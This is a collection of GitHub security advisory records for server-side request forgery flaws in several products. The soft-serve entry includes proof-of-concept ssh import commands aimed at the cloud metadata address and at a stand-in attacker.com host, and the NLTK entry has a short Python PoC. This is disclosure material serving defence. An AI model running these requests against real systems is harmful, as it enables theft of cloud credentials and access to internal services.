CWE-918

{
  "affected": [],
  "aliases": [
    "CVE-2026-82241"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-28T12:16:34Z",
    "severity": "HIGH"
  },
  "details": "Budibase backend-core (@budibase/backend-core, as used by @budibase/server) omits the shared address space range 100.64.0.0/10 from its default SSRF blacklist (DEFAULT_BLACKLIST) used by REST datasource query previews. When the default blacklist is active (i.e., a self-hosted deployment has not defined BLACKLIST_IPS), an authenticated user with the Builder permission can submit a REST datasource query preview request to POST /api/queries/preview targeting a reachable HTTP(S) service in the 100.64.0.0/10 range, causing the server to send a request to that target and return its response through the preview flow. Per the advisory, no released fix was identified at the time of publication; remediation is to add 100.64.0.0/10 to DEFAULT_BLACKLIST.",
  "id": "GHSA-3fqg-454w-h447",
  "modified": "2026-08-28T12:30:27Z",
  "published": "2026-08-28T12:30:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-9754-4wm6-3c8r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82241"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/budibase-backend-core-ssrf-via-incomplete-default-blacklist"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T17:36:20Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nQQ Bot Extension: Missing SSRF Protection on All Media Fetch Paths.\n\nQQ Bot media download paths were not consistently routed through the SSRF guard and allowlist policy.\n\nOpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.2`\n- Patched versions: `2026.4.8`\n\n## Fix\n\nThe issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`.\n\n## Verification\n\nThe fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary.\n\n## Credits\n\nThanks @adithyan-ak for reporting.",
  "id": "GHSA-3fv3-6p2v-gxwj",
  "modified": "2026-04-28T18:26:35Z",
  "published": "2026-04-09T17:36:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-3fv3-6p2v-gxwj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw QQ Bot Extension missing SSRF Protection on All Media Fetch Paths"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/charmbracelet/soft-serve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "0.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-06T22:16:00Z",
    "nvd_published_at": "2026-03-07T16:15:55Z",
    "severity": "CRITICAL"
  },
  "details": "While auditing the codebase in the wake of the webhook SSRF fix shipped in v0.11.1 (GHSA-vwq2-jx9q-9h9f), it was identified that the LFS import path was never given the same treatment. The webhook fix introduced dual-layer SSRF protection \u2014 ValidateWebhookURL() at creation time and secureHTTPClient with IP validation at dial time \u2014 but the LFS HTTP client still uses http.DefaultClient with no filtering at all.\n\n### Summary\n\nAn authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running `repo import` with a crafted `--lfs-endpoint` URL. The initial batch request is blind (the response from a metadata endpoint won\u0027t parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets.\n\n### Details\n\nThe user-controlled endpoint flows through four files with zero validation:\n\n**1. User supplies the URL via `--lfs-endpoint`** (`pkg/ssh/cmd/import.go:20-41`)\n\n```go\ncmd.Flags().StringVarP(\u0026lfsEndpoint, \"lfs-endpoint\", \"\", \"\", \"set the Git LFS endpoint\")\n```\n\nThe flag value is passed directly into `proto.RepositoryOptions{LFSEndpoint: lfsEndpoint}` at line 40 and then to `be.ImportRepository()`.\n\n**2. Access check passes for any authenticated user** (`pkg/ssh/cmd/cmd.go:172-187`, `pkg/backend/user.go:94-100`)\n\nThe import command uses `checkIfCollab` as its `PersistentPreRunE`. For a new repo name (which is normal during import -- you\u0027re creating it), `AccessLevelForUser` hits this path:\n\n```go\n// pkg/backend/user.go:94-100\nif user != nil {\n    // If the repository doesn\u0027t exist, the user has read/write access.\n    if anon \u003e access.ReadWriteAccess {\n        return anon\n    }\n\n    return access.ReadWriteAccess\n}\n```\n\nThis is by design -- any authenticated user can create repos via import or push (same model as Gitea/Gogs). The point isn\u0027t that the access control is wrong, just that any valid SSH key is enough to trigger the SSRF.\n\n**3. Endpoint flows to the LFS client unvalidated** (`pkg/backend/repo.go:170-194`)\n\n```go\n// pkg/backend/repo.go:170-173\nendpoint := remote\nif opts.LFSEndpoint != \"\" {\n    endpoint = opts.LFSEndpoint\n}\n```\n\nWhen `opts.LFSEndpoint` is non-empty, it overrides the remote URL entirely. No URL validation, no IP check. It then flows through:\n\n```go\n// pkg/backend/repo.go:182-194\nep, err := lfs.NewEndpoint(endpoint)\n// ...\nclient := lfs.NewClient(ep)\n// ...\nif err := StoreRepoMissingLFSObjects(ctx, r, d.db, d.store, client); err != nil {\n```\n\n`lfs.NewEndpoint` does URL parsing only -- no SSRF validation. `lfs.NewClient` calls `newHTTPClient`.\n\n**4. HTTP client has no protection** (`pkg/lfs/http_client.go:24-31`)\n\n```go\n// pkg/lfs/http_client.go:24-31\nfunc newHTTPClient(endpoint Endpoint) *httpClient {\n    return \u0026httpClient{\n        client:   http.DefaultClient,\n        endpoint: endpoint,\n        transfers: map[string]TransferAdapter{\n            TransferBasic: \u0026BasicTransferAdapter{http.DefaultClient},\n        },\n    }\n}\n```\n\nBoth the batch client and the `BasicTransferAdapter` use `http.DefaultClient` -- no SSRF protection, no IP validation, follows redirects. Compare with the webhook client that was added in v0.11.1:\n\n```go\n// pkg/webhook/webhook.go:42-76 -- the protected version\nvar secureHTTPClient = \u0026http.Client{\n    Timeout: 30 * time.Second,\n    Transport: \u0026http.Transport{\n        DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {\n            host, _, err := net.SplitHostPort(addr)\n            // ...\n            ip := net.ParseIP(host)\n            if ip != nil {\n                if err := ValidateIPBeforeDial(ip); err != nil {\n                    return nil, fmt.Errorf(\"blocked connection to private IP: %w\", err)\n                }\n            }\n            // ...\n        },\n    },\n    CheckRedirect: func(*http.Request, []*http.Request) error {\n        return http.ErrUseLastResponse\n    },\n}\n```\n\n**How the attack chains together:**\n\n*Stage 1 -- blind SSRF:* The server sends a POST to `\u003cattacker-endpoint\u003e/objects/batch` (see `http_client.go:57`). If the endpoint is a cloud metadata service like `http://169.254.169.254/latest/meta-data/`, the response won\u0027t be valid JSON, so the batch request fails with a parse error. The request is still sent though -- the attacker can confirm reachability via timing or error differentiation.\n\n*Stage 2 -- reading internal responses via fake LFS server:* If the attacker hosts a fake LFS server that returns valid batch responses, the `BasicTransferAdapter` follows the download URLs from the response:\n\n```go\n// pkg/lfs/basic_transfer.go:71-89\nfunc (a *BasicTransferAdapter) performRequest(ctx context.Context, method string, l *Link, body io.Reader, callback func(*http.Request)) (*http.Response, error) {\n    // ...\n    req, err := http.NewRequestWithContext(ctx, method, l.Href, body)  // l.Href from batch response\n    // ...\n    res, err := a.client.Do(req)  // a.client is http.DefaultClient\n```\n\nThe `l.Href` field comes from the attacker\u0027s batch response. The `a.client` is the same unprotected `http.DefaultClient`. So the fake LFS server can point download URLs at internal targets like `http://169.254.169.254/latest/api/token` or `http://10.0.0.1:8080/admin`, and the response bodies get written to LFS object storage on disk. Since the attacker just created the repo and has read access, they can retrieve the stored objects through the normal LFS download API.\n\n**Mirror sync persistence:** When a repo is imported with `--lfs-endpoint`, the URL is persisted in the repo\u0027s git config at `lfs.url` (`repo.go:175`). If imported as a mirror (`--mirror`), the periodic sync job reads this config and uses the same unprotected LFS client:\n\n```go\n// pkg/jobs/mirror.go:94-111\nlfsEndpoint := rcfg.Section(\"lfs\").Option(\"url\")\nif lfsEndpoint == \"\" {\n    return\n}\n\nep, err := lfs.NewEndpoint(lfsEndpoint)\n// ...\nclient := lfs.NewClient(ep)\n// ...\nif err := backend.StoreRepoMissingLFSObjects(ctx, repo, dbx, datastore, client); err != nil {\n```\n\nA single `--mirror --lfs --lfs-endpoint \u003cinternal-url\u003e` import creates persistent SSRF that repeats on every mirror sync without further interaction.\n\n**Two notes:**\n\n- The batch request only fires if the imported repo contains LFS pointer blobs (checked via `SearchPointerBlobs`). The attacker needs to import a repo that has LFS objects -- easy to arrange with your own repo, but worth noting.\n- The import path in `repo.go` does not check the global `cfg.LFS.Enabled` flag -- it always processes LFS when the `--lfs` flag is passed. The mirror path (`mirror.go:87`) does gate on `cfg.LFS.Enabled`. So the import vector works regardless of server-level LFS configuration.\n\n**Protection comparison:**\n\n| Layer | Webhooks (v0.11.1+) | LFS import/mirror |\n|---|---|---|\n| URL validation at input | `ValidateWebhookURL()` | None |\n| Custom HTTP transport | `secureHTTPClient` with `ValidateIPBeforeDial` | `http.DefaultClient` |\n| Redirect blocking | `CheckRedirect` returns `http.ErrUseLastResponse` | Default (follows redirects) |\n| DNS rebinding protection | IP checked at dial time | None |\n\n**Affected versions:**\n\n- Introduced in v0.6.0 (commit `ea6b9a4` added `--lfs-endpoint` flag)\n- Still present in v0.11.3+ (current `main`)\n- Not fixed by v0.11.1 webhook SSRF patch (GHSA-vwq2-jx9q-9h9f) -- that fix only covers `pkg/webhook/`, not `pkg/lfs/`\n\n**Suggested fix:**\n\nThe existing SSRF protections in `pkg/webhook/validator.go` and `pkg/webhook/webhook.go` are thorough and well-tested. The cleanest fix would be to extract them to a shared internal package and apply them to the LFS client:\n\n1. Replace `http.DefaultClient` in `pkg/lfs/http_client.go` with a secure client using `ValidateIPBeforeDial` in the transport and `http.ErrUseLastResponse` in `CheckRedirect` -- matching the webhook pattern.\n2. Validate the endpoint URL in `pkg/backend/repo.go` (before `lfs.NewEndpoint`) and `pkg/jobs/mirror.go` (before creating the client) using the same checks `ValidateWebhookURL` performs.\n\nBoth layers matter -- URL validation catches the obvious cases, `ValidateIPBeforeDial` at connection time catches DNS rebinding.\n\n\n### PoC\n\nBased on code review. These haven\u0027t been run against a live instance, but the data flow from `--lfs-endpoint` to `http.DefaultClient.Do()` is straightforward:\n\n```bash\n# Blind SSRF -- server POSTs to metadata endpoint (JSON parse will fail, but request is sent)\nssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo \\\n  --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/\n\n# Reading internal responses via fake LFS server\n# 1. Host a server at attacker.com that responds to POST /objects/batch\n#    with a valid BatchResponse containing download URLs pointing at internal targets\n# 2. Import with that endpoint\nssh -p 23231 localhost repo import ssrf-chain https://github.com/user/lfs-repo \\\n  --lfs --lfs-endpoint http://attacker.com/fake-lfs/\n```\n\n### Impact\n\nAny authenticated SSH user (any valid SSH key) can make the server send HTTP requests to arbitrary destinations, including internal networks and cloud metadata services.\n\nConcrete impact:\n- **Port scanning / service discovery:** Confirm reachability of internal hosts via timing and error responses\n- **Cloud credential theft:** Access cloud metadata endpoints (169.254.169.254) -- full credential extraction is possible through the fake-LFS-server chain unless IMDSv2 or equivalent is enforced\n- **Internal API access:** Read responses from internal services by routing LFS download URLs through the pipeline\n- **Persistence:** Mirror imports repeat the SSRF on every scheduled sync without further user action\n\n\nReported by Vinayak Mishra\nGitHub: @vnykmshr",
  "id": "GHSA-3fvx-xrxq-8jvv",
  "modified": "2026-03-09T15:50:39Z",
  "published": "2026-03-06T22:16:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-3fvx-xrxq-8jvv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30832"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/commit/3ef660098ab37a7950457da8ecc25b516e37ce4e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/charmbracelet/soft-serve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "soft-serve vulnerable to SSRF via unvalidated LFS endpoint in repo import"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-37230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-10T14:15:12Z",
    "severity": "HIGH"
  },
  "details": "Loftware Spectrum (testDeviceConnection) before 5.1 allows SSRF.",
  "id": "GHSA-3g3x-qrhw-j5jj",
  "modified": "2024-09-10T18:30:44Z",
  "published": "2024-09-10T15:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37230"
    },
    {
      "type": "WEB",
      "url": "https://code-white.com"
    },
    {
      "type": "WEB",
      "url": "https://code-white.com/public-vulnerability-list"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-64968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T14:17:45Z",
    "severity": "MODERATE"
  },
  "details": "ATutor is vulnerable to\u00a0Server-Side request forgery in import functionalities. An authenticated administrator can make the server request arbitrary internal HTTP endpoints, cloud metadata services, or local files via file:// if the PHP\nenvironment permits URL wrappers.\n\n\nProduct is no longer actively supported and the vulnerabilities have not been fixed. Only version 2.2.4 was tested and confirmed as vulnerable, other versions were not tested but might also be vulnerable.",
  "id": "GHSA-3g5v-7qvh-xxq4",
  "modified": "2026-08-20T15:34:17Z",
  "published": "2026-08-20T15:34:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64968"
    },
    {
      "type": "WEB",
      "url": "https://atutor.github.io"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/08/CVE-2026-64960"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-45206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-04T02:15:05Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in Veeam Service Provider Console has been identified, which allows to perform arbitrary HTTP requests to arbitrary hosts of the network and get information about internal resources.",
  "id": "GHSA-3g63-2rpp-wc2m",
  "modified": "2024-12-04T03:31:16Z",
  "published": "2024-12-04T03:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45206"
    },
    {
      "type": "WEB",
      "url": "https://www.veeam.com/kb4649"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "gradio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.42.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-48052"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-07T15:05:10Z",
    "nvd_published_at": "2024-11-04T23:15:04Z",
    "severity": "MODERATE"
  },
  "details": "In gradio \u003c=4.42.0, the gr.DownloadButton function has a hidden server-side request forgery (SSRF) vulnerability. The reason is that within the save_url_to_cache function, there are no restrictions on the URL, which allows access to local target resources. This can lead to the download of local resources and sensitive information.",
  "id": "GHSA-3gf9-wv65-gwh9",
  "modified": "2024-11-07T15:05:10Z",
  "published": "2024-11-05T00:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48052"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/AfterSnows/45ffc23797f9127e00755376cc610e12"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gradio-app/gradio"
    },
    {
      "type": "WEB",
      "url": "https://rumbling-slice-eb0.notion.site/FULL-SSRF-in-gr-DownloadButton-in-gradio-app-gradio-870b21e0908b48cbafd914719ac1a4e6?pvs=4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "gradio Server Side Request Forgery vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-100893"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-28T02:17:19Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in Privoce VoceChat Server up to 0.5.36. This vulnerability affects the function open_graph::fetch of the file src/api/resource.rs of the component open_graphic_parse Endpoint. Executing a manipulation of the argument url can lead to server-side request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-3gh5-9cwx-25f8",
  "modified": "2026-09-28T03:30:27Z",
  "published": "2026-09-28T03:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100893"
    },
    {
      "type": "WEB",
      "url": "https://is.yuum.me/posts/2026-08-06-ssrf-vulnerability-in-vocechat-server-v0520"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-100893"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/917632"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/410843"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/410843/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-16223"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-19T08:16:43Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was determined in 1Panel-dev CordysCRM up to 1.4.1. Impacted is the function getSqlBotSrc of the file backend/crm/src/main/java/cn/cordys/crm/system/service/IntegrationConfigService.java of the component Third Party Edit Endpoint. Executing a manipulation of the argument appSecret can lead to server-side request forgery. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.",
  "id": "GHSA-3gm6-8rm6-q59f",
  "modified": "2026-07-19T09:31:36Z",
  "published": "2026-07-19T09:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16223"
    },
    {
      "type": "WEB",
      "url": "https://github.com/1Panel-dev/CordysCRM/issues/2687"
    },
    {
      "type": "WEB",
      "url": "https://github.com/1Panel-dev/CordysCRM/issues/2688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/1Panel-dev/CordysCRM"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-16223"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/858045"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/858046"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/380045"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/380045/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.9.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63311"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T15:39:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "There is an SSRF vulnerability in NLTK 3.9.4\u0027s network URL validation. The validate_network_url() function in nltk/pathsec.py fails open when DNS resolution returns an error.\n\nThe _resolve_hostname() helper at lines 193-234 catches OSError and ValueError during socket.getaddrinfo() and returns an empty list []. When this happens, the validation loop in validate_network_url() iterates over nothing (for addr in resolved: ... never executes), with no else/fallback check. The function returns normally, and urlopen() proceeds to make the request without any IP validation.\n\nThis means:\n1. If DNS is temporarily unavailable, ALL SSRF protections are disabled\n2. DNS rebinding attacks bypass the check after the LRU cache entry expires\n3. In environments with unreliable resolvers, the protection is permanently bypassed\n\nPoC:\n```python\nimport nltk.pathsec\nimport unittest.mock\n\n# Simulate DNS failure\nwith unittest.mock.patch(\u0027socket.getaddrinfo\u0027, side_effect=OSError(\u0027DNS unavailable\u0027)):\n    # This SHOULD raise but doesn\u0027t -- fails open\n    nltk.pathsec.validate_network_url(\u0027http://169.254.169.254/latest/meta-data/\u0027)\n    # Returns normally, allowing SSRF to cloud metadata\n```\n\nThe correct behavior is fail-closed: if DNS resolution fails, the URL should be REJECTED (not allowed). The function should raise an exception or return a failure status when _resolve_hostname() returns an empty list.\n\nThis is distinct from CVE-2024-39705 (which addressed pickle deserialization) and CVE-2026-33236 (which addressed XML path traversal). This finding targets the newly-added pathsec.py security layer introduced to fix those earlier issues.\n\nSuggested fix: Add an explicit check after _resolve_hostname() returns: if the result is empty, raise a SecurityError. Never allow a URL request to proceed when IP validation was impossible.\n\nCVSS Note: The CVSS use SC:H (High subsequent confidentiality) because the advisory explicitly identifies cloud metadata endpoints (169.254.169.254) as an attack target. Access to AWS IMDS or GCP metadata exposes credentials or service account tokens, which constitutes High-impact disclosure on downstream systems. This justifies SC:H over NVD\u0027s SC:L.",
  "id": "GHSA-3gqm-fcw5-w839",
  "modified": "2026-09-02T15:39:39Z",
  "published": "2026-09-02T15:39:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-3gqm-fcw5-w839"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63311"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3582"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/4a820afa58810cd05049b6c6eae306694d6cfe65"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3723.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-ssrf-via-dns-resolution-failure"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "NLTK: SSRF Fail-Open in validate_network_url() via DNS Resolution Failure"
}